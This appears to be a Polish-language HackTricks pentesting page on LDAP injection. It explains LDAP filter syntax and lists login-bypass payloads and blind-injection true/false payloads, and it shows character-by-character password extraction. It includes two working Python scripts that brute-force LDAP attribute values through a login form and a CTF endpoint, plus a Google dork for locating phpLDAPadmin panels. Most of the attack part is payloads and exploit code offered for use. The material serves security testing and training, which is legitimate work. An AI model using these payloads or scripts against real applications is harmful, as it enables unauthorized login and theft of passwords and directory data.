9.6 KiB
Wstrzykiwanie LDAP
Wstrzykiwanie LDAP
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Jeśli interesuje Cię kariera hakerska i hakowanie niemożliwego do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).
{% embed url="https://www.stmcyber.com/careers" %}
Wstrzykiwanie LDAP
LDAP
Jeśli chcesz dowiedzieć się, czym jest LDAP, odwiedź następującą stronę:
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
Wstrzykiwanie LDAP to atak wymierzony w aplikacje internetowe, które konstruują instrukcje LDAP na podstawie danych wprowadzanych przez użytkownika. Występuje, gdy aplikacja nie oczyszcza poprawnie danych wejściowych, umożliwiając atakującym manipulowanie instrukcjami LDAP za pośrednictwem lokalnego proxy, co potencjalnie prowadzi do nieautoryzowanego dostępu lub manipulacji danych.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
Filtr = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE
Na przykład:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
Możesz uzyskać dostęp do bazy danych, która może zawierać informacje różnego rodzaju.
OpenLDAP: Jeśli przyjdą 2 filtry, wykonuje tylko pierwszy.
ADAM lub Microsoft LDS: Z 2 filtrami zgłaszają błąd.
SunOne Directory Server 5.0: Wykonuje oba filtry.
Bardzo ważne jest wysłanie filtra z poprawną składnią, w przeciwnym razie zostanie zgłoszony błąd. Lepiej jest wysłać tylko 1 filtr.
Filtr musi zaczynać się od: &
lub |
Przykład: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Następnie: (&(objectClass=
*)(ObjectClass=*))
będzie pierwszym filtrem (tym wykonanym).
Ominięcie logowania
LDAP obsługuje kilka formatów przechowywania hasła: czyste, md5, smd5, sh1, sha, crypt. Dlatego może się zdarzyć, że niezależnie od tego, co wpiszesz w haśle, zostanie ono zahaszowane.
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Listy
Ślepa Wstrzyknięcie LDAP
Możesz wymusić odpowiedzi False lub True, aby sprawdzić, czy zwracane są jakiekolwiek dane i potwierdzić możliwą ślepą wstrzyknięcie LDAP:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Wyciek danych
Możesz iterować po literach ASCII, cyfrach i symbolach:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
Skrypty
Odkrywanie prawidłowych pól LDAP
Obiekty LDAP domyślnie zawierają kilka atrybutów, które mogą być używane do zapisywania informacji. Możesz spróbować przeprowadzić atak siłowy na wszystkie z nich, aby wydobyć te informacje. Możesz znaleźć listę domyślnych atrybutów LDAP tutaj.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
Specjalny ślepy atak wstrzyknięcia LDAP (bez "*")
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
Dorki Google
intitle:"phpLDAPadmin" inurl:cmd.php
Więcej ładunków
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
Jeśli jesteś zainteresowany karierą w dziedzinie hakowania i hakiem nie do złamania - zatrudniamy! (wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie).
{% embed url="https://www.stmcyber.com/careers" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.